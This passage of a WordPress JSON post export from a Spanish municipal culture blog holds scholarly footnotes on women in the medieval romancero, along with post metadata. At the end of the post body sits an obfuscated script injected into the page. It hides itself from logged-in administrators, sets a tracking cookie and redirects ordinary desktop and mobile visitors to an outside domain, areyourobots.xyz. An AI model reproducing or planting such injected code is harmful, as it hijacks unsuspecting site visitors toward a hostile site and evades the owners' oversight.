primaria del prevalecer, en \u00e1mbitos ya m\u00e1s generales, de historias y figuras de mujeres nefastas respecto a las de mujeres virtuosas\u00bb [di Stefano, G.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1gs. 51-<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">5<\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\"><i>2]; vid. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Anahory-Librowicz, O.: \u00abLas mujeres no-castas en el romancero: un caso de honra\u00bb. <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Actas del IX Congreso de la Asociaci\u00f3n Internacional de His<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>p<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>anistas, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">1989. p\u00e1gs. 321-330; Rodr\u00edguez Pu\u00e9rtolas, J.:\u00abLa mujer nueva en la literatura castellana del siglo XV\u00bb. En <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Literatura hisp\u00e1nica, Reyes Cat\u00f3licos y descubrimiento. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Barcelona. PPU, 1989. p\u00e1gs. 38-56; Odd, F.L.: \u00abWomen of the <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero: <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">a Voice of Reconciliation\u00bb. <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Hispania, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">LXVI (1983). p\u00e1gs. 360-<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">3<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">68; y Dollfus, L.: \u00abLes femmes du romancero\u00bb. En <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>\u00c9tudes sur le Moyen \u00c1ge espagnol. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Leroux. Paris, 1984. p\u00e1gs. 87-146. <\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">(54) Frenk, M. (ed.): <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Corpus de la antigua l\u00edrica popular hisp\u00e1nica (siglos XV <\/i><\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: xx-small\"><i>y <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>XVI), <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ed. cit., p\u00e1gs. 186 y 881, respectivamente. <\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">(55) Alzieu, P.; Jammes, R.; Lissorgues, Y. (eds.): <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1gs. 73-75. <\/span><\/span><\/p>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.areyourobots.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>En el a\u00f1o 1990, en Vera, Pepa Soler y el romance de Gerineldo, rescatado de su memoria, motivaban a los autores de este art\u00edculo a escribir sobre tradici\u00f3n oral.<\/p>\n","protected":false},"author":7,"featured_media":807,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,312],"tags":[124,35,275,270,34],"class_list":["post-805","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-archivo","category-creacion-literaria","tag-pepa-soler","tag-poesia","tag-s-xv","tag-s-xvi","tag-tradicion-oral"],"_links":{"self":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/805","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/comments?post=805"}],"version-history":[{"count":9,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/805\/revisions"}],"predecessor-version":[{"id":3981,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/805\/revisions\/3981"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/media\/807"}],"wp:attachment":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/media?parent=805"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/categories?post=805"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/tags?post=805"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}